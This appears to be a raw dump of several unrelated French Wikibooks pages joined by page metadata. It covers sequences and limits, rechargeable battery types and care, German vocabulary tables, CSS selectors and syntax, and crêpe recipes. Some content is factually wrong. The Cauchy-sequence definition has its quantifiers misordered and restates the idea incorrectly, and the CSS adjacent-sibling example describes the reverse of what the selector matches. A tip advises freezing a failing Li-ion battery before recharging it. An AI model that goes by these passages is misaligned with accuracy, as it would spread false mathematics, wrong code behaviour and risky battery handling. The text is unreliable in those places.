pense qu'il faudrait une inégalité large????? ===Limite infini=== Toute suite non convergente est dite divergente ===Operations sur les limites=== ==Adhérence== L'adhérence est l'ensemble des points d'accumulation d'une suite noté <math> \bar A </math>. Par exemple, soit <math> { \left( a_n \right) }_{n \in \mathbb{N} } = {\left( -1 \right) }^{n} </math>, ses points d'accumulation sont évidemment <math> \left( 1 \right) </math> et <math>\left( -1 \right) </math>. Un autre définition serait de le définir par l'ensemble contenant toutes les limites de suites formée des éléments de <math> { A \in E } </math>. ==Suites particulières== ===Suites de Cauchy=== Une suite de Cauchy est définie comme telle : <math> { \forall \left( n,m \right) \in \mathbb{N}^2, \forall \epsilon > 0, \exists N \in \mathbb{N}, \left( n,m \right) > N, \left\| a_n - a_m \right\| < \epsilon } </math> Autrement dit <math> \forall \left( n,k \right) \in \mathbb{N}^2, \lim_{n \rightarrow \infty} a_{n+k} = \lim_{n \rightarrow \infty} a_{n}</math> ==Exercices== ==Pour continuer..................== Batterie-autre 2258 43153 2006-05-25T20:52:47Z 201.15.251.110 /* (Nickel-Métal-Hydride) Ni-Mh */ Dans notre monde ou l'électricité et l'électronique sont omniprésentes, la miniaturisation des appareils n'a été rendue possible que par le développement d'accumulateurs électrique plus maniable que les batteries aux plomb.<br /> Tout comme l'accumulateur à base de plomb, les autres accumulateurs d'électricité sont basé sur des réactions électrochimiques entre des électrodes constituées de différent matériaux, associées à un électrolyte chimique qui permet les échanges d'ions entre les électrodes.<br /> ==Consignes d'utilisation== '''Valable pour tout type de batterie.''' * Ne jamais tenter d'ouvrir ou de déformer une batterie, elle contient des produits chimiques corrosifs ainsi que des matériaux généralement hautements toxiques, parfois s'enflammants ou explosants spontanément en présence de l'air. * Ne pas les soumettres à des températures excessives (feux, soleil, radiateurs], afin d'éviter les fuites et les explosions. * Toujours utiliser un chargeur spécifique par type de batterie et, se conformer au instructions techniques du chargeur. ==Différents types== Les différents types d'accumulateurs couramment utilisés par les applications électroniques portatives, avec quelques une de leurs principales caractéristiques: ===Glossaire=== - '''V''' = ''Volt'' - '''Wh/kg''' = ''Watt heure par kilogramme'' - '''C''' = Capacité nominale de l'accu en Ah'' - '''H''' = ''Heure'' - '''Ah''' = ''Ampère pendant une heure''. ===(Nickel-Cadnium) Ni-Cd=== * ''Tension d'une cellule'' = '''1.2V'''. * ''Capacité moyenne'' = '''48-80 Wh/kg'''. * ''Courant de décharge max'' = '''10 à 20 C'''. * ''Temps de charge'' = '''1/4H à 14H''', dépendant du chargeur. * ''Auto décharge'' = '''20% / Mois'''. * ''Nombre de cycles'' = '''1500'''. * [[w:Effet_m%C3%A9moire|Effet mémoire]] réversible. ===(Nickel-Métal-Hydride) Ni-Mh=== * ''Tension d'une cellule'' = '''1.2V'''. * ''Capacité moyenne'' = '''60-120 Wh/kg'''. * ''Courant de décharge max'' = '''10 à 20 C'''. * ''Temps de charge'' = '''1H à 14H''', dépendant du chargeur. * ''Auto décharge'' = '''30% / Mois'''. * ''Nombre de cycles'' = '''500'''. * [[w:Effet_m%C3%A9moire|Effet mémoire]] réduit. ===(Lithium-ion) Li-ion=== * ''Tension d'une cellule'' = '''3.6V'''. * ''Capacité moyenne'' = '''110-160 Wh/kg'''. * ''Courant de décharge max'' = '''1 à 2 C'''. * ''Temps de charge'' = '''2 - 4H'''. * ''Auto décharge'' = '''10% / Mois'''. * ''Nombre de cycles'' = '''500-1000'''. * Durée de vie limitée à 3 ans après fabrication. Astuce pour une batterie LI-ION de téléphone portable qui ne tient plus la charge. * Entreposez la 2-3 heurs dans un congélateur à -18°, * laissez reposer la batterie 1/2 Heure à température ambiante, * rechargez. ===(Lithium-Polymères) Li-Po=== * ''Tension d'une cellule'' = '''3.6V'''. * ''Capacité moyenne'' = '''100-130 Wh/kg'''. * ''Courant de décharge max'' = '''1 à 2 C'''. * ''Temps de charge'' = '''2 - 4H'''. * ''Auto décharge'' = '''10% / Mois'''. * ''Nombre de cycles'' = '''300-500'''. * Durée de vie limitée à 3 ans après fabrication. ===Alcaline-régénérable=== * ''Tension d'une cellule'' = '''1.5'''. * ''Capacité moyenne'' = '''~ 150 Wh/kg''', décroit au rythme des recharges. * ''Courant de décharge max'' = '''0.3C'''. * ''Temps de charge'' = '''4H'''. * ''Auto décharge'' = '''1% / Mois'''. * ''Nombre de cycles'' = '''300''', dépendant du type d'utilisation. * Durée de vie limitée à 3 ans après fabrication. {{Batterie d'accumulateurs}} Vocabulaire allemand 2261 35771 2006-03-04T10:53:59Z Antoinel 182 * [[Les hommes, les métiers]] * [[Les sentiments]] * [[Verbes usuels]] * [[Allemand : Die Nahrung : la nourriture|La nourriture]] * [[Allemand : Die Schule : l'école|L'école]] * [[Allemand : Die Kleidung : l'habillement|L'habillement]] * [[Allemand : Die Zeit : le temps|Le temps]] * [[Allemand : Die Gesundheit : la santé|La santé]] * [[Allemand : Die Staat : l'Etat|L'Etat]] * [[Allemand : Der Krieg : la guerre|La guerre]] * [[Allemand : Der Justiz : la justice|La justice]] * [[Allemand : Les mesures|Les mesures, unités de mesure]] * [[Allemand : Die Arbeit : Le travail|Le travail]] <br />Retour [[Enseignement de l'allemand]] Verbes usuels 2263 39668 2006-04-05T14:19:36Z 85.69.11.241 <table border=1> <tr> <td> </td> <td>Infinitif</td> <td>3ème pers. sing. présent</td> </tr> <tr> <td>Avoir</td> <td>Haben</td> <td>hat</td> </tr> <tr> <td>Etre</td> <td>Sein</td> <td>ist</td> </tr> <tr> <td>Aider</td> <td>Helfen</td> <td>hilft</td> </tr> <tr> <td>Arriver</td> <td>Ankommen</td> <td>kommt an</td> </tr> <tr> <td>Boire</td> <td>Trinken</td> <td>trinkt</td> </tr> <tr> <td>Chanter</td> <td>Singen</td> <td>singt</td> </tr> <tr> <td>Commencer</td> <td>Beginnen</td> <td>beginnt</td> </tr> <tr> <td>Manger</td> <td>Essen</td> <td>isst</td> </tr> <tr> <td>Perdre</td> <td>Verlieren</td> <td>verliert</td> </tr> <tr> <td>Oublier</td> <td>Vergessen</td> <td>vergisst</td> </tr> <tr> <td> </td> <td> </td> </tr> </table> Batterie-Entretien 2264 28688 2006-01-11T16:24:51Z 82.245.232.25 /* Électrolyte */ ==Généralités== L'entretien des batteries est somme toute assez simple, la plupart des modèles ne demandent qu'à être chargés régulièrement, surtout avant d'être stocké. Seules les batteries au plomb nécessitent quelques attentions particulières. ==Propreté== * Avant tout, gardez votre batterie propre : ** Ne laissez pas la poussière, les débris végétaux, les insectes morts, s'accumuler, sous peine de risque de court-circuit suivi d'incendie. ** Gardez les cosses de connexion propres et graissées; en cas d'apparition de sulfate (dépot blanchâtre): nettoyer avec une brosse métallique et à l'eau claire ; enduire de graisse hydrofuge les cosses avant de rebrancher les connexions. ==Fixation== * Vérifier qu'aucun câble ne frotte sur une arrête de tôle ou un boulon saillant. * Vérifier la fixation de la batterie, malgré son poids, elle peut se renverser, un véhicule automobile étant un support particulièrement agité. ==Électrolyte== * Sur les batteries munies de bouchons, vérifier régulièrement le niveau d'électrolyte de tout les éléments, il doit se situer à un bon centimètre au dessus des plaques. Compléter si besoin est avec de l'eau distillée en procédant avec précaution, afin de ne pas dépasser le niveau maximum (risque de débordement). * Sur les batteries sans entretien, on ne peut contrôler le niveau d'électrolyte. La quantité d'électrolyte et la conception de la batterie permettent en général de se passer de vérification périodique. ** En revanche, si la batterie est soumise à des décharges rapides et importantes ou à des surcharges, des dégazages de sécurité lui feront perdre sa capacité normale. ** En dessertissant les bouchons cachés sous une plaque collée, on peut compléter le niveau d'électrolyte avec de l'eau distillée, mais le problème est de repositionner correctement et durablement les bouchons. ** '''Cette dernière opération est donc déconseillée'''. ==Stockage== * Si vous devez laisser votre véhicule longtemps à l'arrêt, il est conseillé de débrancher les cables reliant la batterie au véhicule. Ceci afin que celle-ci ne se décharge lentement et complètement dans les quelques accessoires alimentés en permanence. * Si le stockage doit perdurer plusieurs mois, une recharge d'entretien de la batterie s'impose à l'aide d'un chargeur adapté, de préférence en position charge lente. {{Batterie d'accumulateurs}} Batterie-Stockage 2265 28689 2006-01-11T16:33:04Z 82.245.232.25 /* Charge */ Une batterie d'accumulateur électrique pour pouvoir fournir de l'électricité doit au préalable être chargée. ==Charge== Chaque type de batterie a des caractéristiques qui lui sont propres, il est fortement conseillé de respecter les critères de décharge et de recharge, spécifiques à chaque modèle ([[w:fr:temps|temps]], [[w:fr:courant électrique|intensité]], [[w:fr:tension|tension]], température). * Si ces données ne sont pas respectées : Au mieux, la batterie aura une durée de vie raccourcie; Au pire, elle sera détruite par explosion ou incendie. ** L'explosion ou l'incendie de batterie est particulièrement dangereux, celles-ci contenant toutes des produits chimiques toxiques et corrosifs. * Afin d'assurer la recharge dans les meilleurs conditions de leurs produits, les fabricants de batteries rechargeables fournissent les caractéristiques de leur produits, un minimum est généralement inscrit sur la batterie même. Si vous n'avez pas de connaissances dans ce domaine, demandez conseil à un professionnel. * De plus ces derniers distribuent, des chargeurs adaptés à chacun de leurs produits. En conséquence il est de loin préférable d'utiliser le chargeur le mieux adapté à la batterie. ==Stockage== * Une batterie ne doit être stockée que chargée. * Elle doit être stockée dans un endroit sec, à l'abrit du soleil. * Elle doit être maintenue chargée, par une charge d'entretien à intervalles réguliers. La périodicité et le type de charge dépendent du modèle de la batterie. {{Batterie d'accumulateurs}} Programmation CSS 2267 40440 2006-04-17T15:52:29Z Clément Cordaro 1305 {{EnTravaux}} <div style="background: #ffeee6; color: #900; font-size: 120%; margin: 1em auto; padding: 0.3em; text-align: center; width: 70%;"> <div style="background: #ffeee6; border: 2px solid #fff; padding: 0.3em;"> <span style="font-size: 125%;">'''Programmation CSS'''</span><br /> ''Un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]] et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. </div> </div> <div style="width: 100%;"> {{CadreProgCSS |titre=Présentation |contenu='''CSS''' (pour l'anglais ''Cascading Style Sheet'') est un standard du [[w:World Wide Web Consortium|W3C]] qui permet de rédiger des feuilles de style, pour mettre en forme des documents html ou xml. Les feuilles de style ont pour objectif principal de dissocier la structure et le contenu de la page, de son style. Ce livre reprend en grande partie les spécifications du [[w:World Wide Web Consortium|W3C]], mais en les rendant intelligibles aux non-initiés et en les aggrémentant de conseils, d'exemples, d'astuces... Il nécessite comme pré-requis la connaissance d (x)html.}} </div> <div style="float: left; width: 70%;"> {{CadreProgCSS |titre=Corpus |contenu= <div style="border-bottom: 1px dotted #900; color: #900; font-size: 110%; padding: 0.1em; text-align: left;">Généralité</div> * [[Programmation CSS - Introduction|Introduction]] * [[Programmation CSS - Structure et syntaxe|Structure et syntaxe d'une feuille de style]] * [[Programmation CSS - Les sélecteurs|Les sélecteurs]] * [[Programmation CSS - Valeurs et unités|Valeurs et unités utilisées]] <div style="border-bottom: 1px dotted #900; color: #900; font-size: 110%; margin-top:0.5em; padding: 0.1em; text-align: left;">Mise en forme</div> * [[Programmation CSS - Texte|Texte]] * [[Programmation CSS - Fonds et bordures|Fonds et bordures]] * [[Programmation CSS - Listes|Listes]] * [[Programmation CSS - Tableaux|Tableaux]] <div style="border-bottom: 1px dotted #900; color: #900; font-size: 110%; margin-top:0.5em; padding: 0.1em; text-align: left;">Mise en page</div> * [[Programmation CSS - Positionnement en ligne|Positionnement en ligne]] * [[Programmation CSS - Le modèle de boites|Le modèle de boites]] * [[Programmation CSS - Marges et espacements|Marges et espacements]] <div style="border-bottom: 1px dotted #900; color: #900; font-size: 110%; margin-top:0.5em; padding: 0.1em; text-align: left;">Pour aller plus loin</div> * [[Programmation CSS - Techniques avancées|Techniques avancées et astuces]]}} </div> <div style="float: right; margin-bottom: 1%; width: 28%;"> {{CadreProgCSS |titre=Annexes |contenu= * [[Programmation CSS - Notions de design|Notions de design et de colorimétrie]] * [[Programmation CSS - Glossaire|Glossaire]] * [[Programmation CSS - Ressources documentaires|Ressources documentaires]] * [[Programmation CSS - Autres ressources|Autres ressources]]}} {{CadreProgCSS |titre=Standards et accessibilité |contenu= * [[Programmation CSS - De l'intérêt des standards|De l'intérêt des standards]] * [[Programmation CSS - Accessibilité|Accessibilité]]}} </div> <div style="clear: both;"> {{Programmation}} </div> __NOTOC__ [[Catégorie:Programmation CSS|*]] Cuisine:Pâte à crêpe 2268 13877 2005-02-18T20:10:53Z Antoinel 182 == Recette classique == Ingrédients : * 250 grammes de farine * 3 œufs * un demi-litre de lait * une cuillerée à café d'huile * une pincée de sel Conseils : * Vous pouvez remplacer une partie du lait par de la crème fraîche. Cela rend les crêpes plus savoureuses, mais gare aux calories ! * Vous pouvez également remplacer une partie du lait par de la bière, pour des crêpes plus légères. * Ne mélangez surtout pas la farine et les œufs avant de mettre le lait. Vous obtiendriez une sorte de pâte bien difficile à mélanger au lait (pleine de grumeaux !). == Recette alternative == Ingrédients : * 250 grammes de farine * 50 grammes de sucre * 4 œufs * 50 cl de lait * 50 grammes de beurre * une pincée de sel Mélanger la farine, le sucre et le sel. Ajouter les œufs. Bien mélanger (gare aux grumeaux) pour obtenir une pâte épaisse. Ajouter le lait ''tiède'' et le beurre fondu. Laisser reposer la pâte à température ambiante pendant au moins une heure (les crêpes sont délicieuses si la pâte repose une nuit entière). Livre de Cuisine 2269 46290 2006-06-28T11:12:11Z Nicombo 684 Catégorie [[Catégorie:Cuisine]] __NOTOC__ __NOEDITSECTION__ <center><font size="6">'''Livre de Cuisine'''</font></center> Le '''Livre de Cuisine''' est un Wikilivre dont le but est de regrouper des recettes, des savoir-faire et des techniques de cuisine.<br/> <center><small>''[[:de:Kochbuch|En allemand]], [[:es:Artes culinarias|En Espanol]], [[:eo:Kuirlibro |En Esperanto]], [[:en:Cookbook|En anglais]], [[:nl:Kookboek|In het Nederlands]]''</small></center> <center> {| cellspacing=3 |- valign="top" |width="50%" bgcolor="#F4EEA1" style="border-style:solid;border-width:1px;padding:1em;padding-top:0;"| == Recette du mois == Le [[Cuisine:Gâteau roulé|Gâteau roulé]]. |width="50%" bgcolor="#F4EEA1" style="border-style:solid;border-width:1px;padding:1em;padding-top:0;"| == Lumière sur... == L'article [[w:cuisine|cuisine]] sur Wikipédia |} </center> <center><font size="+3">Les articles</font></center><br/> {| width="100%" align="center" border="0" cellpadding="4" cellspacing="4" style="border: 1px solid #CCCC99; background-color: #F9F6D4" |- | valign="top" width="33%" | == Recettes == *[[Cuisine:Entrées|Entrées]] *[[Cuisine:Recettes rapides|Recettes rapides]] *[[Cuisine:Recettes à base de riz|Recettes à base de riz]] *[[Cuisine:Recettes à base de viande|Recettes à base de viande]] *[[Cuisine:Recettes végétaliennes|Recettes végétaliennes (plus de 90 !)]][[Image:50%.png]] *[[Cuisine:Recettes végétariennes|Recettes végétariennes]][[Image:00%.png]] *[[Cuisine:Recettes de pâtes|Recettes de pâtes]] *[[Cuisine:Recettes de la mer|Recettes de la mer]] *[[/Tartes et pizzas/]] *[[Cuisine:Recettes_au_fromage|Recettes au fromage]] *[[Cuisine:Accompagnements|Accompagnements]] == Dessert == *[[Cuisine:Desserts|Desserts]] *[[Cuisine:Tarte aux pommes|Tarte aux pommes]] *[[Cuisine:Salade de fruits|Salade de fruits]] *[[Cuisine:Mousse au chocolat|Mousse au chocolat]] *[[Cuisine:Glace aux speculoos|Glace aux speculoos]] *[[Cuisine:Pain perdu|Pain perdu]] | valign="top" width="33%" | == Techniques culinaires == *[[Cuisine:Cuire au bain-marie|Cuire au bain-marie]] *[[Cuisine:Déglacer|Déglacer]] *[[Cuisine:Bouquet garni|Bouquet garni]] *[[Cuisine:Techniques_culinaires|Autres techniques]] == Gastronomie du monde == *[[Cuisine:Recettes de cuisine française|Recettes de cuisine française]] *[[Cuisine:Recettes du Nord|Recettes du Nord]] *[[Cuisine:Recettes de cuisine antillaise|Recettes de cuisine antillaise]] *[[Cuisine:Berbère]] *[[Cuisine:Recettes de cuisine coréenne|Recettes de cuisine coréenne]] *[[Cuisine:Recettes de cuisine crétoise|Recettes de cuisine crétoise]] *[[Cuisine:Recettes de cuisine italienne|Recettes de cuisine italienne]] *[[Cuisine:Recettes de cuisine espagnole|Recettes de cuisine espagnole]] *[[Cuisine:Recettes de cuisine grecque|Recettes de cuisine grecque]] *[[Cuisine:Recettes de cuisine marocaine|Recettes de cuisine marocaine]] *[[Cuisine:Recettes par pays|Recettes par pays]] | valign="top" width="33%" | == Boissons == === Alcoolisées === *[[Cuisine:Black velvet|Black velvet]] *[[Cuisine:Irish Coffee|Irish Coffee]] *[[Cuisine:Long Island Iced Tea|Long Island Iced Tea]] *[[Cuisine:Tequila sunrise|Tequila sunrise]] *[[Cuisine:Vodka pomme|Vodka pomme]] === Non-alcoolisées === *[[Cuisine:Milk-shake|Milk-shake]][[Image:25%.png]] *[[Cuisine:Thés|Thés]][[Image:50%.png]] == Divers == *[[Cuisine:Gérer son refrigérateur|Gérer son refrigérateur]] *[[Cuisine:Moules|Moules]] *[[Cuisine:Poëles|Poëles]] *[[Cuisine:Ustensiles|Ustensiles]] *[[Cuisine:Sauces|Sauces]] *[[Cuisine:Ingrédients|Ingrédients]] |} <center><font size="+3">L'organisation du projet</font></center><br/> {| width="100%" align="center" border="0" cellpadding="4" cellspacing="4" style="border: 1px solid #CCCC99; background-color: #F9F6D4" |- | valign="top" width="33%" | == Comment contribuer ? == Il existe de nombreux moyens pour aider à améliorer cette encyclopédie. * Corriger les articles existants ; * Créer de nouveaux articles ; * Illustrer les articles ; * Transférer des recettes depuis Wikipédia : [[w:Catégorie:Recette|Catégorie:Recette]] ; | valign="top" width="33%" | == Coordination == [[Wikilivres:Aide|Aide]] concernant Wikilivres. * [[Wikilivres:Comment modifier une page|Comment modifier une page]] * [[Wikilivres:Recommandations et règles à suivre|Recommandations et règles à suivre]] | valign="top" width="33%" | == Participants == * [[Utilisateur:Anarchimede|Anarchimede]] * [[Utilisateur:Antoinel|Antoinel]] * [[Utilisateur:Sarvok|Sarvok]] * ...et tous les participants à Wikilivres. |} [[bg:Готварска книга]] [[da:WikiKogebogen]] [[de:Kochbuch]] [[en:Cookbook]] [[eo:Kuirlibro]] [[es:Artes culinarias]] [[it:Ricettario]] [[ja:料理本]] [[lt:Receptai]] [[nl:Kookboek]] [[pl:Książka kucharska]] [[pt:Livro de Receitas]] [[ro:Carte de bucate]] [[ru:Кулинарная книга]] [[simple:Cookbook]] [[sr:Кувар]] [[fi:Keittokirja]] [[sv:Kokboken]] [[zh:食谱]] Les hommes, les métiers 2270 13879 2005-05-05T03:45:59Z 24.200.31.93 /* La famille */ === La famille === <table border=1> <tr><td>singulier</td><td>pluriel</td><td> </td> </tr> <tr><td>der Mann</td><td>die Männer</td><td>l'homme</td></tr> <tr><td>die Frau</td><td>die Frauen</td><td>la femme</td></tr> <tr><td>das Kind</td><td>die Kinder</td><td>l'enfant</td></tr> <tr><td>das Mädchen</td><td>die Mädchen</td><td>la fille</td></tr> <tr><td>der Junge</td> <td>die Jungen</td> <td>le garçon</td></tr> <tr><td>die Familie</td> <td>die Familien</td> <td>la famille</td></tr> <tr><td>der Vater</td> <td>die Väter</td> <td>le père</td></tr> <tr><td>die Mutter</td> <td>die Mütter</td> <td>la mère</td></tr> <tr><td>die Eltern</td> <td> </td> <td>les parents</td></tr> <tr><td>der Sohn</td> <td>die Söhne</td> <td>le fils</td></tr> <tr><td>die Tochter</td> <td>die Töchter</td> <td>la fille</td></tr> <tr><td>der Bruder</td> <td>die Brüder</td> <td>le frère</td></tr> <tr><td>die Schwester</td> <td>die Schwestern</td> <td>la soeur</td></tr> <tr><td> </td> <td>die Geschwister</td> <td>les frères et soeurs</td></tr> <tr><td>der Onkel</td> <td>die Onkel</td> <td>l'oncle</td></tr> <tr><td>die Tante</td> <td>die Tanten</td> <td>la tante</td></tr> <tr><td>der Vetter</td> <td>die Vettern</td> <td>le cousin</td></tr> <tr><td>die Kusine</td> <td>die Kusinen</td> <td>la cousine</td></tr> </table> der Ingenieur (s,e) : ''l'ingénieur''<br />der Richter (s,e) : ''le juge''<br />der Journalist (en,en) : ''le journaliste'' der Arzt (er, ¨e) : ''le médecin''<br />der Zahnarzt (es,¨e) : ''le dentiste''<br /> der Bäcker (s,-) : ''le boulanger''<br />der Metzger (s,-) : ''le boucher''<br /> der Friseur (s,e) : ''le coiffeur'' <br />Retour [[Enseignement de l'allemand]] Programmation CSS - Introduction 2271 40374 2006-04-16T10:14:47Z Clément Cordaro 1305 {{Programmation CSS | prec=[[Programmation CSS|Sommaire]] | cour=Introduction | suiv=[[Programmation CSS - Structure et syntaxe|Structure et syntaxe d'une feuille de style]]}} == Qu'est-ce qu'une feuille de style ? == Les '''feuilles de style''' en cascade ('''CSS''', pour ''Cascading Style Sheets'') constituent un moyen de séparer la structure et la mise en page d'un site web. En tant que spécification du [[w:fr:World Wide Web Consortium|W3C]], elles obéissent à un ensemble de règles précises. Le problème du [[w:fr:HTML|HTML]] simple est qu'il oblige à intégrer les déclarations de style au sein du code, qui perd ainsi en clarté, et à multiplier les déclarations de style pour chaque cadre, chaque paragraphe... Les feuilles de style se proposent de résoudre ces deux problèmes par deux approches différentes. En définissant une feuille de style interne on créé un style par page, ce qui est relativement lourd mais parfois intéressant. La méthode la plus courante et la plus adaptée, celle exploitant au mieux cette faculté de "généralisation" des styles, est l'externalisation. Elle consiste à créer un fichier externe d'extension .css et qui compilera les règles de style de toutes les pages affiliées à ce fichier par une déclaration dans l'en-tête de chaque page (la partie <code>head</code> du document html). Le fichier html ne contiendra ainsi que la structure de la page et son style sera appliqué "par dessus" comme une sorte de masque. L'objectif de séparation de la présentation et de la structure est donc atteint. == Historique == La création des CSS date de 1994. C'est à cette époque que l'essor du web commence avec en particulier l'avènement des publications électroniques. Mais il n'existe encore aucun moyen fiable et robuste pour appliquer un style à ces documents. Håkon Wium Lie, qui travaillait alors au [[w:fr:CERN|CERN]], berceau du web, comprend alors la nécessité de créer une feuille de style spécifique pour le web et en imagine une définition. Certes, l'idée de séparer la structure de la présentation date de la création en 1990 par Tim Berners-Lee, d'un éditeur/navigateur dans lequel il est possible de définir une feuille de style mais Tim Berners-Lee ne définit pas de syntaxe laissant le soin aux navigateurs de le faire. [...] [[Catégorie:Programmation CSS]] Programmation CSS - Les sélecteurs 2272 44982 2006-06-18T05:58:27Z Guillaumito 46 correction liens de navigation {{Programmation CSS | prec=[[Programmation CSS - Structure et syntaxe|Structure et syntaxe]] | cour=Les sélecteurs | suiv=[[Programmation CSS - Feuille de style et structure|Feuille de style et structure]]}} Un '''sélecteur''' CSS est un mot-outil ou un symbole qui permet de désigner un ensemble d'éléments html regroupés selon certaines caractéristiques communes. ==Sélecteurs d'attributs== Un sélecteur CSS fait parfois référence à un attribut d'un élément. Deux types d'attributs sont distingués : '''class''' et '''id''', mais il est possible de se référer à n'importe quel attribut. === Sélecteur de classe === Le sélecteur de classe (''class'' en anglais) permet de définir et de sélectionner un (ou des éléments) appartenant à un groupe d'éléments. Tous les membres de ce groupe seront affectés par les règles de style définies pour la classe.<br/> Il est judicieux d'utiliser une classe pour des éléments redondants dans la structure.<br/> Le sélecteur de classe est introduit par un point ( . )<br/> La syntaxe CSS est la suivante : .nom_de_class { /* déclaration(s) */ } Dans le document html, on pourrait écrire plusieurs fois et pour d'autres éléments que <tt>p</tt> : <nowiki><p class="nom_de_class">...</p></nowiki> === Sélecteur d'id === Le sélecteur d'identité (''id'' en anglais) permet de définir et de sélectionner un élément unique, c'est-à-dire distinct des autres, pour appliquer à lui seul des règles de style définies.<br/> Il est judicieux d'utiliser un id pour les éléments uniques de structuration du document, comme les <tt>div</tt> principaux (logo, en-tête, colonne(s), pied de page...)<br/> Le sélecteur d'id est introduit par un dièse ( # ) <br/> La syntaxe CSS est la suivante :<br/> #nom_id {<br/> /* déclarations */<br/> }<br/> Dans le document html, on pourrait écrire une seule et unique fois : <div id="nom_id">...</div> Le sélecteur id peut avoir d'autres usages qui mettent à profit l'unicité de l'élément affecté, notamment : * servir d'ancre pour des liens internes au document * être utilisé ''via'' le DOM, dans un script (<tt>getElementById</tt>..) === Sélecteur d'attribut === Les autres attributs sont référençables en ajoutant [nom_attribut] à un sélecteur de type.<br/> Exemple avec une balise input avec attribut "name" : &lt;input '''name'''="saisie"&gt;<br/> ... La règle CSS peut s'écrire: input['''name''']{border:1px solid silver}.<br/> [http://www.yoyodesign.org/doc/w3c/css2/selector.html#attribute-selectors La syntaxe complète des sélecteurs d'attributs] == Les autres types de sélecteurs == Les sélecteurs d'attributs ne sont pas les seuls. Un sélecteur peut même être une chaîne de caractères valide quelconque. Ayant pour rôle de désigner un ou plusieurs élément(s) du document html, l'utilisation d'un seul mot-clé comme sélecteur est en fait vite limitée. Il s'agit plus souvent d'une combinaison de sélecteurs simples, séparés par des ''combinateurs'' qui ont un sens hiérarchique précis. « Ces combinateurs sont : les blancs et les caractères ">" et "+". Des blancs peuvent être insérés entre un combinateur et ses sélecteurs simples » [http://www.yoyodesign.org/doc/w3c/css2/selector.html#q2]. Le document xhtml peut être vu comme un arbre dont le tronc est l'élément <tt>html</tt>, les deux principales branches les éléments <tt>head</tt> et <tt>body</tt>, desquelles partent en ramification toutes les autres branches. Un sélecteur suit ces ramifications, comme une branche de lierre, en partant du tronc, pour désigner une ou des branches &mdash; qui sont des éléments html. Ainsi, chaque élément a un élément ''parent'' &mdash; sauf l'élément racine <tt>html</tt> &mdash; et un ou plusieurs ''élément(s) enfant(s)'' &mdash; sauf les éléments terminant une ramification. Cela définit une hiérarchie dans laquelle il faut pouvoir s'orienter facilement et précisément. La grammaire CSS définit plusieurs types de sélecteurs, pour parcourir l'arbre qu'est le document html. === Les sélecteur universel, de type et descendant === Les sélecteurs universels sont les plus simples et les plus généraux de CSS. Le '''sélecteur universel <tt>*</tt>''' permet de désigner tous les éléments de l'arbre, on peut donc l'omettre. Exemple : *.wikipedia { ... } /* est équivalent à */ .wikipedia { ... } /* et désigne tous les éléments de la classe wikipedia */ Le '''sélecteur de type''' permet de désigner les éléments d'un type pré-défini du document. Exemple : h1 { ... } /* concerne tous les éléments de type h1 du document */ Le '''sélecteur descendant simple''' permet de désigner les éléments descendants d'un autre élément (ou de plusieurs), c'est-à-dire liés les uns aux autres par une relation de parenté quelconque. Le dernier élément est inclus directement ou non dans celui qui le précède et ainsi de suite. Exemple : .wikipedia h1 { ... } /* désigne tous les h1 contenus, à quelque niveau que ce soit, dans les éléments de classe wikipedia */ On peut vouloir aussi désigner des éléments descendant mais au minimum petit-enfant dans la hiérarchie mais il peut être laborieux d'expliciter tout le chemin jusqu'aux éléments concernés. Il est possible d'utiliser <tt>*</tt> comme un sélecteur descendant particulier : .wikipedia * h1 { ... } /* désigne tous les h1 petits-enfants d'éléments de classe wikipedia, ou situés plus loin dans la hiérarchie du document (par exemple : .wikipedia > #contenu > .introduction > h1) */ ''Tous ces sélecteurs sont supportés par les principaux navigateurs modernes (Internet Explorer, Mozilla, Firefox, Opera...)'' === Les sélecteurs d'enfant et d'enfant adjacent === Le '''sélecteur d'enfant <tt>></tt>''' permet de désigner un élément par filiation à un autre élément. La relation de parenté est directe, elle ne concerne que les enfants et pas les petits-enfants ou plus. L'élément parent est suivi de <tt>></tt> puis vient l'élément enfant. Exemple : .wikipedia> h1 { ...} /* désigne tous les h1 enfants d'éléments de classe wikipedia les espaces ne sont pas obligatoires */ Le '''sélecteur d'enfant adjacent <tt>+</tt>''' permet de définir un style pour un élément enfant suivant immédiatement un autre élément enfant du même élément parent. Exemple : h2 + .wikipedia { ... } /* applique un style au h2 qui suivrait immédiatement un élément de classe wikipedia. Dans cet exemple : &lt;div id="contenu"&gt; &lt;div class="wikipedia"&gt; &lt;h2&gt;Titre 1...&lt;/h2&gt;&lt;p&gt;Paragraphe...&lt;/p&gt; ... &lt;h2&gt;Titre 2...&lt;/h2&gt;&lt;p&gt;Paragraphe...&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; */ seul le Titre 1 serait affecté par les règles de style. ''Ces sélecteurs sont supportés par les navigateurs IE5/Mac, Mozilla&FireFox, Opera 5&7, mais pas par IE5.5&6/Windows.'' == Les pseudos-classes et les pseudos-éléments == Les sélecteurs présentés ci-dessus et les sélecteurs de <tt>class</tt> et d'<tt>id</tt> suffisent pour mettre en œuvre une page web un tant soit peu complexe. Mais d'autres sélecteurs précis permettent de modifier le style d'éléments comme les liens (les différents états), les états dynamiques ou encore des éléments répondants à des critères particuliers. Pour en savoir plus, consultez la documentation : * [http://www.yoyodesign.org/doc/w3c/css2/selector.html#q15 Les pseudos-classes (fr)] * [http://www.yoyodesign.org/doc/w3c/css2/selector.html#q20 Les pseudos-éléments (fr)] Catégorie:Programmation CSS 2275 13884 2005-01-19T19:12:41Z Meanos 168 résumé Les '''feuilles de style''' en cascade ('''CSS''', pour ''Cascading Style Sheet'') sont une spécification du [[w:World Wide Web Consortium|W3C]] qui a pour objectif de définir un ensemble de règles cohérentes et une grammaire pour définir le style et la mise en forme des pages web. Programmation CSS - Structure et syntaxe 2278 46424 2006-06-28T22:05:06Z 84.63.1.128 {{Programmation CSS | prec=[[Programmation CSS|Introduction]] | cour=Structure et syntaxe | suiv=[[Programmation CSS - Les sélecteurs|Les sélecteurs]]}} Ce chapitre a pour but de poser les bases de la structure d'une feuille de style CSS ainsi que les premiers éléments de syntaxe. Nous aborderons également la liaison entre les documents html et les CSS, et la propriété de ''cascade''. == Règles syntaxiques de base == * Les feuilles de style CSS ne sont pas sensible à la casse : elles ne tiennent pas compte des majuscules et minuscules. Exception faite pour les éléments n'obéissant pas directement au règles de syntaxe CSS, notamment les attributs ''id'' et ''class'' (dont le nommage est assuré par le rédacteur : vous), les noms des polices de caractères (exemple : "Trebuchet MS"), et les [[w:URL|URL]] ne répondant pas à ces règles. * Les feuilles de styles CSS 